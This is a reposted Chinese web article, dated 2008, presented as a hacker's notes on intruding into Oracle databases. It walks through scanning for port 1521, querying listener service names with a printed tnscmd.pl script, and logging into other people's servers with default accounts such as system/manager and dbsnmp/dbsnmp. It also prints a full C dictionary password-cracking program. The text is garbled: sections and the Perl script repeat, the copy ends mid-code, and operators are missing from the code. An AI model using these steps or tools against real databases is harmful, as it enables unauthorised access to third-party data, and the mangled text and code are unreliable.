黑客入侵oracle數據庫的一些心得
互聯(lián)網 發(fā)布時間:2008-10-08 19:38:35 作者:佚名
我要評論

一、先看下面的一個貼子:
Oracle數據庫是現(xiàn)在很流行的數據庫系統(tǒng),很多大型網站都采用Oracle,它之所以倍受用戶喜愛是因為它有以下突出的特點:
1、支持大數據庫、多用戶的高性能的事務處理。Oracle支持最大數據庫,其大小可到幾百千兆,可充分利用硬件設備。支
一、先看下面的一個貼子:
Oracle數據庫是現(xiàn)在很流行的數據庫系統(tǒng),很多大型網站都采用Oracle,它之所以倍受用戶喜愛是因為它有以下突出的特點:
1、支持大數據庫、多用戶的高性能的事務處理。Oracle支持最大數據庫,其大小可到幾百千兆,可充分利用硬件設備。支持大量用戶同時在同一數據上執(zhí)行各種數據應用,并使數據爭用最小,保證數據一致性。系統(tǒng)維護具有高的性能,Oracle每天可連續(xù)24小時工作,正常的系統(tǒng)操作(后備或個別計算機系統(tǒng)故障)不會中斷數據庫的使用??煽刂茢祿鞌祿目捎眯裕稍跀祿旒壔蛟谧訑祿旒壣峡刂?。
2、Oracle遵守數據存取語言、操作系統(tǒng)、用戶接口和網絡通信協(xié)議的工業(yè)標準。所以它是一個開放系統(tǒng),保護了用戶的投資。美國標準化和技術研究所(NIST)對Oracle7 SERVER進行檢驗,100%地與ANSI/ISO SQL89標準的二級相兼容。
3、實施安全性控制和完整性控制。Oracle為限制各監(jiān)控數據存取提供系統(tǒng)可靠的安全性。Oracle實施數據完整性,為可接受的數據指定標準。
4、支持分布式數據庫和分布處理。Oracle為了充分利用計算機系統(tǒng)和網絡,允許將處理分為數據庫服務器和客戶應用程序,所有共享的數據管理由數據庫管理系統(tǒng)的計算機處理,而運行數據庫應用的工作站集中于解釋和顯示數據。通過網絡連接的計算機環(huán)境,Oracle將存放在多臺計算機上的數據組合成一個邏輯數據庫,可被全部網絡用戶存取。分布式系統(tǒng)像集中式數據庫一樣具有透明性和數據一致性。
具有可移植性、可兼容性和可連接性。由于Oracle軟件可在許多不同的操作系統(tǒng)上運行,以致Oracle上所開發(fā)的應用可移植到任何操作系統(tǒng),只需很少修改或不需修改。Oracle軟件同工業(yè)標準相兼容,包括很多工業(yè)標準的操作系統(tǒng),所開發(fā)應用系統(tǒng)可在任何操作系統(tǒng)上運行??蛇B接性是指ORALCE允許不同類型的計算機和操作系統(tǒng)通過網絡可共享信息。
雖然Oracle數據庫具有很高的安全性,但是如果我們在配置的時候不注意安全意識,那么也是很危險的。也就是說,安全最主要的還是要靠人自己,而不能過分依賴軟件來實現(xiàn)。
我們知道,在mssql中,安裝完成后默認有個sa的登陸密碼為空,如果不更改就會產生安全漏洞。那么oracle呢?也有的。為了安裝和調試的方便,Oracle數據庫中的兩個具有DBA權限的用戶Sys和System的缺省密碼是manager。筆者發(fā)現(xiàn)很多國內網站的Oracle數據庫沒有更改這兩個用戶的密碼,其中也包括很多大型的電子商務網站, 我們就可以利用這個缺省密碼去找我們感興趣的東西。如何實現(xiàn),看下面的文章吧。
進行測試前我們先來了解一些相關的知識,我們連接一個Oracle數據庫的時候,需要知道它的service_name或者是Sid值,就象mssql一樣,需要知道數據庫名。那如何去知道呢,猜?呵呵,顯然是不行的。這里我們先講講oracle的TNS listener,它位于數據庫Client和數據庫Server之間,默認監(jiān)聽1521端口,這個監(jiān)聽端口是可以更改的。但是如果你用一個tcp的session去連接1521端口的話,oracle將不會返回它的banner,如果你輸入一些東西的話,它甚至有可能把你踢出去。這里我們就需要用tnscmd.pl這個perl程序了,它可以查詢遠程oracle數據庫是否開啟(也就是ping了),查詢版本,以及查詢它的服務名,服務狀態(tài)和數據庫服務名,而且正確率很高。
理論方面的講完了,如果還有什么不懂的可以去查找相關資料?,F(xiàn)在開始測試吧,需要的工具有:ActivePerl,Oracle客戶端,Superscan或者是其它掃描端口的軟件, Tnscmd.pl。
我們先用Superscan掃描開放了端口1521的主機,假設其IP是xx.xx.110.110,這樣目標已經有了。然后我們要做的就是用Tnscmd.pl來查詢遠程數據庫的服務名了,Tnscmd.pl的用法如下:
C:perlbin>perl tnscmd.pl
usage: tnscmd.pl [command] -h hostname
where 'command' is something like ping, version, status, etc.
(default is ping)
[-p port] - alternate TCP port to use (default is 1521)
[--logfile logfile] - write raw packets to specified logfile
[--indent] - indent & outdent on parens
[--rawcmd command] - build your own CONNECT_DATA string
[--cmdsize bytes] - fake TNS command size (reveals packet leakage)
我們下面用的只有簡單的幾個命令,其他的命令也很好用,一起去發(fā)掘吧。 然后我們就這樣來: C:perlbin>perl tnscmd.pl services -h xx.xx.110.110 -p 1521 –indent sending (CONNECT_DATA=(COMMAND=services)) to xx.xx.110.110:1521 writing 91 bytes reading ._.......6.........?. .......... DESCRIPTION= TMP= VSNNUM=135286784 ERR=0 SERVICES_EXIST=1 .Q........ SERVICE= SERVICE_NAME=ORCL INSTANCE= INSTANCE_NAME=ORCL NUM=1 INSTANCE_CLASS=ORACLE HANDLER= HANDLER_DISPLAY=DEDICATED SERVER STA=ready HANDLER_INFO=LOCAL SERVER HANDLER_MAXLOAD=0 HANDLER_LOAD=0 ESTABLISHED=447278 REFUSED=0 HANDLER_ID=8CA61D1BBDA6-3F5C-E030-813DF5430227 HANDLER_NAME=DEDICATED ADDRESS= PROTOCOL=beq PROGRAM=/home/oracle/bin/oracle ENVS='ORACLE_HOME=/home/oracle,ORACLE_SID=ORCL' ARGV0=oracleORCL ARGS=' LOCAL=NO ' .........@
從上面得到的信息我們可以看出數據庫的服務名為ORCL,然后我們就可以通過sqlplus工具來遠程連上它了,用戶名和密碼我們用默認的system/manager或者是sys/manager,其他的如mdsys/mdsys,ctxsys/ctxsys等,這個默認用戶和密碼是隨版本的不同而改變的。如下: C:oracleora90BIN>sqlplus /nolog SQL*Plus: Release 9.0.1.0.1 - Production on Thu May 23 11:36:59 2002 (c) Copyright 2001 Oracle Corporation. All rights reserved. SQL>connect system/manager@ (description=(address_list=(address=(protocol=tcp) (host=xx.xx.110.110)(port=1521))) (connect_data=(SERVICE_NAME=ORCL))); 如果密碼正確,那么就會提示connected,如果不行,再換別的默認用戶名和密碼。經過筆者的嘗試一般用dbsnmp/dbsnmp都能進去。當然如果對方已經把默認密碼改了,那我們只能換別的目標了。但是我發(fā)現(xiàn)很多都是不改的,這個就是安全意識的問題了。
二、上面提到的兩個小軟件:
tnscmd.pl Copy code
#!/usr/bin/perl
#
# tnscmd - a lame tool to prod the oracle tnslsnr process (1521/tcp)
# tested under Linux x86 & OpenBSD Sparc perl5
#
# Initial cruft: jwa@jammed.com 5 Oct 2000
#
# $Id: tnscmd,v 1.3 2001/04/26 06:45:48 jwa Exp $
#
# see als
# http://www.jammed.com/~jwa/hacks/security/tnscmd/tnscmd-doc.html
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0818
# http://otn.oracle.com/deploy/security/alerts.htm
# http://xforce.iss.net/alerts/advise66.php
#
# GPL'd, of course. http://www.gnu.org/copyleft/gpl.html
#
# $Log: tnscmd,v $
# Revision 1.3 2001/04/26 06:45:48 jwa
# typo in url. whoops.
#
# Revision 1.2 2001/04/26 06:42:17 jwa
# complete rewrite
# - use I:Socket instead of tcp_open
# - got rid of pdump()
# - put packet into @list and build it with pack()
# - added --indent option
#
# use I:Socket;
use strict; # a grumpy perl interpreter is your friend select(STDOUT);$|=1; #
# process arguments
# my ($cmd) = $ARGV[0] if ($ARGV[0] !~ /^-/);
my ($arg); while ($arg = shift @ARGV) {
$main::hostname = shift @ARGV if ($arg eq "-h");
$main::port = shift @ARGV if ($arg eq "-p");
$main::logfile = shift @ARGV if ($arg eq "--logfile");
$main::fakepacketsize = shift @ARGV if ($arg eq "--packetsize");
$main::fakecmdsize = shift @ARGV if ($arg eq "--cmdsize");
$main::indent = 1 if ($arg eq "--indent");
$main::rawcmd = shift @ARGV if ($arg eq "--rawcmd");
$main::rawout = shift @ARGV if ($arg eq "--rawout");
} if ($main::hostname eq "") {
print <<_EOF_;
usage: $0 [command] -h hostname
where 'command' is something like ping, version, status, etc.
(default is ping)
[-p port] - alternate TCP port to use (default is 1521)
[--logfile logfile] - write raw packets to specified logfile
[--indent] - indent & outdent on parens
[--rawcmd command] - build your own CONNECT_DATA string
[--cmdsize bytes] - fake TNS command size (reveals packet leakage)
_EOF_
exit(0);
} # with no commands, default to pinging port 1521 $cmd = "ping" if ($cmd eq "");
$main::port = 1521 if ($main::port eq ""); # 1541, 1521.. DBAs are so whimsical
#
# main
# my ($command); if (defined($main::rawcmd))
{
$command = $main::rawcmd;
}
else
{
$command = "(CONNECT_DATA=(COMMAND=$cmd))";
}
my $response = tnscmd($command);
viewtns($response);
exit(0);
#
# build the packet, open the socket, send the packet, return the response
# sub tnscmd
{
my ($command) = shift @_;
my ($packetlen, $cmdlen);
my ($clenH, $clenL, $plenH, $plenL);
my ($i); print "sending $command to $main::hostname:$main::port\n"; if ($main::fakecmdsize ne "")
{
$cmdlen = $main::fakecmdsize;
print "Faking command length to $cmdlen bytes\n";
}
else
{
$cmdlen = length ($command);
} $clenH = $cmdlen >> 8;
$clenL = $cmdlen & 0xff; # calculate packet length if (defined($main::fakepacketsize))
{
print "Faking packet length to $main::fakepacketsize bytes\n";
$packetlen = $main::fakepacketsize;
}
else
{
$packetlen = length($command) 58; # "preamble" is 58 bytes
} $plenH = $packetlen >> 8;
$plenL = $packetlen & 0xff; $packetlen = length($command) 58 if (defined($main::fakepacketsize)); # decimal offset
# 0: packetlen_high packetlen_low
# 26: cmdlen_high cmdlen_low
# 58: command # the packet. my (@packet) = (
$plenH, $plenL, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x01, 0x36, 0x01, 0x2c, 0x00, 0x00, 0x08, 0x00,
0x7f, 0xff, 0x7f, 0x08, 0x00, 0x00, 0x00, 0x01,
$clenH, $clenL, 0x00, 0x3a, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x34, 0xe6, 0x00, 0x00,
0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00
);
for ($i=0;$i<length($command);$i )
{
push(@packet, ord(substr($command, $i, 1)));
} my ($sendbuf) = pack("C*", @packet); print "connect ";
my ($tns_sock) = I:Socket::INET->new(
PeerAddr => $main::hostname,
PeerPort => $main::port,
Proto => 'tcp',
Type => SOCK_STREAM,
Timeout => 30) || die "connect to $main::hostname failure: $!";
$tns_sock->autoflush(1); print "\rwriting " . length($sendbuf) . " bytes\n"; if (defined($main::logfile))
{
open(SEND, ">$main::logfile.send") || die "can't write $main::logfile.send: $!";
print SEND $sendbuf || die "write to logfile failed: $!";
close(SEND);
} my ($count) = syswrite($tns_sock, $sendbuf, length($sendbuf)); if ($count != length($sendbuf))
{
print "only wrote $count bytes?!";
exit 1;
} print "reading\n"; # get fun data
# 1st 12 bytes have some meaning which so far eludes me if (defined($main::logfile))
{
open(REC, ">$main::logfile.rec") || die "can't write $main::logfile.rec: $!";
} my ($buf, $recvbuf); # read until socket EOF
while (sysread($tns_sock, $buf, 128))
{
print REC $buf if (defined($main::logfile));
$recvbuf .= $buf;
}
close (REC) if (defined($main::logfile));
close ($tns_sock);
return $recvbuf;
}
sub viewtns
{
my ($response) = shift @_; # should have a hexdump option . . . if ($main::raw)
{
print $response;
}
else
{
$response =~ tr/\200-\377/\000-\177/; # strip high bits
$response =~ tr/\000-\027/\./;
$response =~ tr/\177/\./; if ($main::indent)
{
parenify($response);
}
else
{
print $response;
}
print "\n";
}
}
sub parenify
{
my ($buf) = shift @_;
my ($i, $c);
my ($indent, $o_indent); for ($i=0;$i<length($buf);$i )
{
$c = substr($buf, $i, 1);
$indent if ($c eq "(");
$indent-- if ($c eq ")");
if ($indent != $o_indent)
{
print "\n" unless(substr($buf, $i 1, 1) eq "(");
print " " x $indent;
$o_indent = $indent;
undef $c;
}
print $c;
}
}
Copy code
/*用鏈表實現(xiàn)的oracle密碼暴破程序,需要在本地安裝oralce*/
#define WIN32_LEAN_AND_MEAN
#if defined(_WIN32) || defined(_WIN64)
#include <windows.h>
#include <Tchar.h>
#endif
#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <lmcons.h>
#include <winnetwk.h>
#include <time.h>
#include <stdlib.h>
#include <stdlib.h>
#include <iostream>
#include <occi.h>
#pragma comment(lib, "oraocci9.lib") //鏈接到oraocci9.lib庫
//#pragma comment(lib, "msvcrt.lib")
#pragma comment(lib, "msvcprt.lib")
//鏈接到WS2_32.LIB庫:
#pragma comment(lib, "Ws2_32.lib")
//#pragma comment(lib, "liboracle.lib") char target[40]= {0};//目標服務器
char port[40]={0};//SQL端口號
char db[40]={0};//數據庫名 //定義鏈表:
typedef struct PassNode{
TCHAR password[100];
struct PassNode * Next;
} PassInfo; typedef struct NameNode{
TCHAR Name[100];
struct NameNode * Next;
}NameInfo; //定義NameInfo來表示NameNode結構 //
//函數SQLCheck
//功能:嘗試用不同密碼連接SQL Server,探測出正確的密碼
//
DWORD WINAPI SQLCheck(PVOID pPwd,PVOID uUserName)
{
//定義局部變量
char szBuffer[1025]= {0};
char *pwd=NULL,*UserName=NULL;
char DataBase[255]={0};
//char *user=NULL;
//取得傳遞過來準備探測的密碼
pwd=(char *)pPwd;
UserName=(char *)uUserName;
//DataBase=(char *)db;
sprintf(DataBase,"(description=(address_list=(address=(protocol=tcp)(host=%s)(port=%s)))(connect_data=(SERVICE_NAME=%s)))",target,port,db);
//printf("DataBase=%s\n",DataBase);
using namespace std;
using namespace oracle::occi; Environment * env=Environment::createEnvironment(Environment::DEFAULT); try{
Connection *conn=env->createConnection(UserName,pwd,(char *)DataBase);
if (conn)
{ printf("\n");
cout << "SUCCESS - createConnection" << endl;
//連接遠程oracle Server數據庫成功
return 1;
}
else
cout << "FAILURE - createConnection" << endl;
return 0; /*Statement*stmt=conn->createStatement("select * from emp");
ResultSet * rset=stmt->executeQuery();
while (rset->next()) {
cout<<"the empno is:"<<rset->getInt(1)<<endl;
cout<<"the ename is:"<<rset->getString(2)<<endl; } */
//stmt->closeResultSet (rset);
// conn->terminateStatement (stmt);
env->terminateConnection (conn); }catch(SQLException ex) {
//printf("\n");
cout<<ex.getMessage();
return 0; }
Environment::terminateEnvironment(env);
return 0;
}
void usage(){ printf("name:oracle password crack v 1.0\n");
printf("author:pt007@vip.sina.com\n\n");
fprintf(stdout,"usage : oracle_pwd_crack [ip] [options]\n");
printf("options:\n"
"\t-x port specify the port of oracle\n"
"\t-u username specify the username of oracle\n"
// "\t-p password specify the password of oracle\n"
"\t-d dict specify the dictionary\n"
"\t-i database specify the database's name\n"
//"\t-a automode automatic crack the oracle password \n"
//"\tNote: when u use the -a option, named the username dict user.dic\n"
// "\t password dict pass.dic\n"
);
printf("\nexample: oracle_pwd_crack 127.0.0.1 -x 1521 -u sql_user.dic -d pass.dic -i PLSExtProc\n");
exit(1); } //創(chuàng)建密碼鏈表:
PassInfo * Create_Pass_link(int NodeNum, FILE * DictFile){ /* read data from password dictionary, init the link */
TCHAR * szTempPass = NULL;
PassInfo *h, *p, *s; /* *h point to head node, *p point to the pre node,
*s point to the current node*/
int i; /* counter*/ //分配內存空間在內存的動態(tài)存儲區(qū)中分配一塊長度為"sizeof(PassInfo)"字節(jié)的連續(xù)區(qū)域,函數的返回值為該區(qū)域的首地址:
if ( (h = (PassInfo *) malloc(sizeof(PassInfo))) == NULL )
{
fprintf(stderr, "malloc failed %d", GetLastError());
exit(0);
} /* create the head node */ /* init the head node*/
h->Next = NULL;
p = h; for ( i=0; i < NodeNum; i ) //下面是建立鏈表,每個密碼對應一個結點:
{ //按sizeof(TCHAR)的長度分配100塊連續(xù)的區(qū)域,并把指向TCHAR類型指針的首地址賦予指針變量szTempPass
szTempPass = (TCHAR *)calloc(100, sizeof(TCHAR));
ZeroMemory(szTempPass, 100); if ( (s = (PassInfo *)malloc(sizeof(PassInfo))) == NULL)
{
fprintf(stderr, "malloc failed %d", GetLastError());
exit(0);
}
memset(s->password, '\0', 100);
fgets(szTempPass, 100, DictFile);
strncpy(s->password, szTempPass, strlen(szTempPass)-1);
s->Next =NULL; //刪除一個結點
p->Next = s;//鏈表指針指向下一個結構地址
p = s;//下一個結構的數據域賦值 free(szTempPass);//釋放內存空間 }
return h;//返回鏈表的頭結點,它存放有第一個結點的首地址,沒有數據 }
//創(chuàng)建用戶名鏈表:
NameInfo * Create_Name_link(int NodeNum, FILE * DictFile){ /* read data from password dictionary, init the link */
TCHAR * szTempName = NULL;
NameInfo *h, *p, *s; /* *h point to head node, *p point to the pre node,
*s point to the current node*/
int i; /* counter*/ //分配內存空間在內存的動態(tài)存儲區(qū)中分配一塊長度為"sizeof(NameInfo)"字節(jié)的連續(xù)區(qū)域,函數的返回值為該區(qū)域(此處為NameInfo結構的首地址)的首地址: :
if ( (h = (NameInfo *) malloc(sizeof(NameInfo))) == NULL )
{
fprintf(stdout, "malloc failed %d", GetLastError());
exit(0);
} /* create the head node */ /* init the head node*/
h->Next = NULL; //刪除下一個結點
p = h; //p里面目前指向頭結點 for ( i=0; i < NodeNum; i )
{//按sizeof(TCHAR)的長度分配100塊連續(xù)的區(qū)域,并把指向TCHAR類型指針的首地址賦予指針變量szTempPass:
szTempName = (TCHAR *)calloc(100, sizeof(TCHAR));
ZeroMemory(szTempName, 100);//字符串類型變量清0 if ( (s = (NameInfo *)malloc(sizeof(NameInfo))) == NULL)
{
fprintf(stdout, "malloc failed %d", GetLastError());
exit(0);
}
memset(s->Name, '\0', 100);
fgets(szTempName, 100, DictFile);
strncpy(s->Name, szTempName, strlen(szTempName)-1);
s->Next =NULL;
p->Next = s;//p指向下一個結點的地址
p = s;//下一個結構的數據域賦值 free(szTempName); }
return h; }
int LineCount(FILE * fd) //返回字典中的密碼數量
{
int countline = 0;
char data[100] = {0};//字符數組清0 while (fgets(data, 100, fd))//從指定的文件中讀一個字符串到字符數組中
countline ; rewind(fd);//指針返回到文件起始處 return countline;
} BOOL IsPortOpen(char * address, int port)
{
int recv = 1;
WSADATA wsadata;
int fd;
struct sockaddr_in clientaddress;
struct hostent * host1;
BOOL Result = FALSE;
struct timeval timer4;
fd_set writefd; //檢查數據是否可寫
ULONG value = 1;
//初使化winsock版本1.1:
recv = WSAStartup(MAKEWORD(1,1), &wsadata); if(recv != 0)
{
printf("init failed %d.\n",WSAGetLastError());
return(0);
} if ( LOBYTE( wsadata.wVersion ) != 1 ||
HIBYTE( wsadata.wVersion ) != 1 ) {
/* Tell the user that we couldn't find a useable */
/* winsock.dll. */
WSACleanup();
return(0);
}
//創(chuàng)建socket套接字連接:
fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(fd < 0)
{
printf("[-] Create socket error %d. \n",WSAGetLastError());
return(0);
}
//將套接字fd設為非阻塞模式的方法:
ioctlsocket(fd,FIONBIO,&value); if (!(host1 = gethostbyname(address))){
printf("[-] Gethostbyname(%s) error %d.\n",address,WSAGetLastError());
return(0);
} memset(&clientaddress, 0, sizeof(struct sockaddr));
clientaddress.sin_family =AF_INET;//Ipv4地址族
clientaddress.sin_port = htons((unsigned short)port);
clientaddress.sin_addr = *((struct in_addr *)host1->h_addr); timer4.tv_sec = 5;//以秒為單位指定等待時間
timer4.tv_usec = 0; FD_ZERO(&writefd);
FD_SET(fd,&writefd); //將套接字fd增添到writefd寫集合中進行測試 recv = connect(fd, (struct sockaddr *)&clientaddress, sizeof(struct sockaddr)); if( FD_ISSET(fd, &writefd))
{
recv = select(fd 1, NULL, &writefd, NULL, &timer4);//測試5秒鐘內是否有數據寫入 if( recv > 0 )
Result = TRUE;
} closesocket(fd);
WSACleanup(); return Result; }
int main(int argc, char **argv)
{ PassInfo * head, * curr = NULL;
NameInfo * headnode, * currnode = NULL;
int namecount = 0, passcount = 0; /////////////////////////////////////////////////////////////////////////////////////////////
// deal with the command line
//
/////////////////////////////////////////////////////////////////////////////////////////////
//參數不為8個的時候打印幫助
if(argc != 10)
usage(); if (argc == 10)
{
if ( strcmpi(argv[2], "-x") )
usage(); if ( strcmpi(argv[4], "-u") )
usage(); if ( strcmpi(argv[6], "-d") )
usage();
if ( strcmpi(argv[8], "-i") )
usage();
} /* determinate whether the oracle port is open */
if( !IsPortOpen(argv[1], atoi(argv[3]) ) )
{
printf("error:Can't connect to %s:%d\n", argv[1], atoi(argv[3]));
exit(0);
}
////////////////////////////////////////////////////////////////////////////////////////////
// specifiy the username
////////////////////////////////////////////////////////////////////////////////////////////// //取得目標地址和端口號:
strcpy(target,argv[1]);
strcpy(port,argv[3]);
strcpy(db,argv[9]); if ( !strcmpi(argv[4], "-u"))
{
/* open the password dictionary */ FILE * passdic = NULL;
if ( (passdic = fopen(argv[7], "r")) ==NULL){
fprintf(stdout, "Can't open the password dictionary\n");
exit(0);
}
/* count line of name dictionary */ passcount = LineCount(passdic); //計算密碼的數量
head = Create_Pass_link(passcount, passdic); /* create the password link */
curr = head ->Next; //指向第一個結點 /* open the password dictionary */ FILE * Namedict = NULL;
if ( (Namedict = fopen(argv[5], "r")) ==NULL){
fprintf(stderr, "Can't open the name dictionary\n");
exit(0);
} /*密碼最終保存文件*/
FILE *passtxt=NULL;
if ( (passtxt = fopen("pass.txt", "at ")) ==NULL){
fprintf(stdout, "Can't write pass.txt file!\n");
exit(0);
} /* count line of name dictionary */ namecount = LineCount(Namedict);//計算用戶名數量
headnode = Create_Name_link(namecount, Namedict); /* create user link */
currnode = headnode->Next; int j=0,i=1;
while(currnode!=NULL) //為NULL表示姓名鏈表結束
{
printf("\n開始第%d位用戶%s測試:\n", j,currnode->Name);
while(curr != NULL) //為NULL表示密碼鏈表結束
{
printf("Now cracking %s->%s \n", currnode->Name, curr->password);
fflush(NULL);
int Cracked=0;
Cracked=SQLCheck(curr->password,currnode->Name);
if ( Cracked==1 )
{
printf("%d.Successfully:oracle server %s's username [%s] password [%s]\n",j,target,currnode->Name, curr->password);
fseek(passtxt, 0L, SEEK_END);//移動到文件尾部
fprintf(passtxt,"%d.Successfully:oracle server %s's username [%s] password [%s]\r\n",i ,target,currnode->Name, curr->password);
//exit(0);發(fā)現(xiàn)一個密碼就退出
break;
}
curr = curr->Next;//移動到下一個結點
Sleep(100);//暫停100ms,即0.1s } /* starting crack the oracle password*/
currnode = currnode->Next;
curr = head ->Next; //移到密碼鏈表的第一個結點
}
printf("\n\n密碼猜解結束:\n本次共猜解了%d位用戶,%d個密碼!\n",namecount,passcount);
printf("請使用\"type pass.txt\"來查看當前目錄下的pass.txt文件!\n");
fprintf(passtxt,"\r\n\r\n");
fclose(passdic);
fclose(Namedict);
fclose(passtxt);
free(head);
} return 0; }
我們下面用的只有簡單的幾個命令,其他的命令也很好用,一起去發(fā)掘吧。 然后我們就這樣來: C:perlbin>perl tnscmd.pl services -h xx.xx.110.110 -p 1521 –indent sending (CONNECT_DATA=(COMMAND=services)) to xx.xx.110.110:1521 writing 91 bytes reading ._.......6.........?. .......... DESCRIPTION= TMP= VSNNUM=135286784 ERR=0 SERVICES_EXIST=1 .Q........ SERVICE= SERVICE_NAME=ORCL INSTANCE= INSTANCE_NAME=ORCL NUM=1 INSTANCE_CLASS=ORACLE HANDLER= HANDLER_DISPLAY=DEDICATED SERVER STA=ready HANDLER_INFO=LOCAL SERVER HANDLER_MAXLOAD=0 HANDLER_LOAD=0 ESTABLISHED=447278 REFUSED=0 HANDLER_ID=8CA61D1BBDA6-3F5C-E030-813DF5430227 HANDLER_NAME=DEDICATED ADDRESS= PROTOCOL=beq PROGRAM=/home/oracle/bin/oracle ENVS='ORACLE_HOME=/home/oracle,ORACLE_SID=ORCL' ARGV0=oracleORCL ARGS=' LOCAL=NO ' .........@
從上面得到的信息我們可以看出數據庫的服務名為ORCL,然后我們就可以通過sqlplus工具來遠程連上它了,用戶名和密碼我們用默認的system/manager或者是sys/manager,其他的如mdsys/mdsys,ctxsys/ctxsys等,這個默認用戶和密碼是隨版本的不同而改變的。如下: C:oracleora90BIN>sqlplus /nolog SQL*Plus: Release 9.0.1.0.1 - Production on Thu May 23 11:36:59 2002 (c) Copyright 2001 Oracle Corporation. All rights reserved. SQL>connect system/manager@ (description=(address_list=(address=(protocol=tcp) (host=xx.xx.110.110)(port=1521))) (connect_data=(SERVICE_NAME=ORCL))); 如果密碼正確,那么就會提示connected,如果不行,再換別的默認用戶名和密碼。經過筆者的嘗試一般用dbsnmp/dbsnmp都能進去。當然如果對方已經把默認密碼改了,那我們只能換別的目標了。但是我發(fā)現(xiàn)很多都是不改的,這個就是安全意識的問題了。
二、上面提到的兩個小軟件:
tnscmd.pl Copy code
#!/usr/bin/perl
#
# tnscmd - a lame tool to prod the oracle tnslsnr process (1521/tcp)
# tested under Linux x86 & OpenBSD Sparc perl5
#
# Initial cruft: jwa@jammed.com 5 Oct 2000
#
# $Id: tnscmd,v 1.3 2001/04/26 06:45:48 jwa Exp $
#
# see als
# http://www.jammed.com/~jwa/hacks/security/tnscmd/tnscmd-doc.html
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0818
# http://otn.oracle.com/deploy/security/alerts.htm
# http://xforce.iss.net/alerts/advise66.php
#
# GPL'd, of course. http://www.gnu.org/copyleft/gpl.html
#
# $Log: tnscmd,v $
# Revision 1.3 2001/04/26 06:45:48 jwa
# typo in url. whoops.
#
# Revision 1.2 2001/04/26 06:42:17 jwa
# complete rewrite
# - use I:Socket instead of tcp_open
# - got rid of pdump()
# - put packet into @list and build it with pack()
# - added --indent option
#
# use I:Socket;
use strict; # a grumpy perl interpreter is your friend select(STDOUT);$|=1; #
# process arguments
# my ($cmd) = $ARGV[0] if ($ARGV[0] !~ /^-/);
my ($arg); while ($arg = shift @ARGV) {
$main::hostname = shift @ARGV if ($arg eq "-h");
$main::port = shift @ARGV if ($arg eq "-p");
$main::logfile = shift @ARGV if ($arg eq "--logfile");
$main::fakepacketsize = shift @ARGV if ($arg eq "--packetsize");
$main::fakecmdsize = shift @ARGV if ($arg eq "--cmdsize");
$main::indent = 1 if ($arg eq "--indent");
$main::rawcmd = shift @ARGV if ($arg eq "--rawcmd");
$main::rawout = shift @ARGV if ($arg eq "--rawout");
} if ($main::hostname eq "") {
print <<_EOF_;
usage: $0 [command] -h hostname
where 'command' is something like ping, version, status, etc.
(default is ping)
[-p port] - alternate TCP port to use (default is 1521)
[--logfile logfile] - write raw packets to specified logfile
[--indent] - indent & outdent on parens
[--rawcmd command] - build your own CONNECT_DATA string
[--cmdsize bytes] - fake TNS command size (reveals packet leakage)
_EOF_
exit(0);
} # with no commands, default to pinging port 1521 $cmd = "ping" if ($cmd eq "");
$main::port = 1521 if ($main::port eq ""); # 1541, 1521.. DBAs are so whimsical
#
# main
# my ($command); if (defined($main::rawcmd))
{
$command = $main::rawcmd;
}
else
{
$command = "(CONNECT_DATA=(COMMAND=$cmd))";
}
my $response = tnscmd($command);
viewtns($response);
exit(0);
#
# build the packet, open the socket, send the packet, return the response
# sub tnscmd
{
my ($command) = shift @_;
my ($packetlen, $cmdlen);
my ($clenH, $clenL, $plenH, $plenL);
my ($i); print "sending $command to $main::hostname:$main::port\n"; if ($main::fakecmdsize ne "")
{
$cmdlen = $main::fakecmdsize;
print "Faking command length to $cmdlen bytes\n";
}
else
{
$cmdlen = length ($command);
} $clenH = $cmdlen >> 8;
$clenL = $cmdlen & 0xff; # calculate packet length if (defined($main::fakepacketsize))
{
print "Faking packet length to $main::fakepacketsize bytes\n";
$packetlen = $main::fakepacketsize;
}
else
{
$packetlen = length($command) 58; # "preamble" is 58 bytes
} $plenH = $packetlen >> 8;
$plenL = $packetlen & 0xff; $packetlen = length($command) 58 if (defined($main::fakepacketsize)); # decimal offset
# 0: packetlen_high packetlen_low
# 26: cmdlen_high cmdlen_low
# 58: command # the packet. my (@packet) = (
$plenH, $plenL, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x01, 0x36, 0x01, 0x2c, 0x00, 0x00, 0x08, 0x00,
0x7f, 0xff, 0x7f, 0x08, 0x00, 0x00, 0x00, 0x01,
$clenH, $clenL, 0x00, 0x3a, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x34, 0xe6, 0x00, 0x00,
0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00
);
for ($i=0;$i<length($command);$i )
{
push(@packet, ord(substr($command, $i, 1)));
} my ($sendbuf) = pack("C*", @packet); print "connect ";
my ($tns_sock) = I:Socket::INET->new(
PeerAddr => $main::hostname,
PeerPort => $main::port,
Proto => 'tcp',
Type => SOCK_STREAM,
Timeout => 30) || die "connect to $main::hostname failure: $!";
$tns_sock->autoflush(1); print "\rwriting " . length($sendbuf) . " bytes\n"; if (defined($main::logfile))
{
open(SEND, ">$main::logfile.send") || die "can't write $main::logfile.send: $!";
print SEND $sendbuf || die "write to logfile failed: $!";
close(SEND);
} my ($count) = syswrite($tns_sock, $sendbuf, length($sendbuf)); if ($count != length($sendbuf))
{
print "only wrote $count bytes?!";
exit 1;
} print "reading\n"; # get fun data
# 1st 12 bytes have some meaning which so far eludes me if (defined($main::logfile))
{
open(REC, ">$main::logfile.rec") || die "can't write $main::logfile.rec: $!";
} my ($buf, $recvbuf); # read until socket EOF
while (sysread($tns_sock, $buf, 128))
{
print REC $buf if (defined($main::logfile));
$recvbuf .= $buf;
}
close (REC) if (defined($main::logfile));
close ($tns_sock);
return $recvbuf;
}
sub viewtns
{
my ($response) = shift @_; # should have a hexdump option . . . if ($main::raw)
{
print $response;
}
else
{
$response =~ tr/\200-\377/\000-\177/; # strip high bits
$response =~ tr/\000-\027/\./;
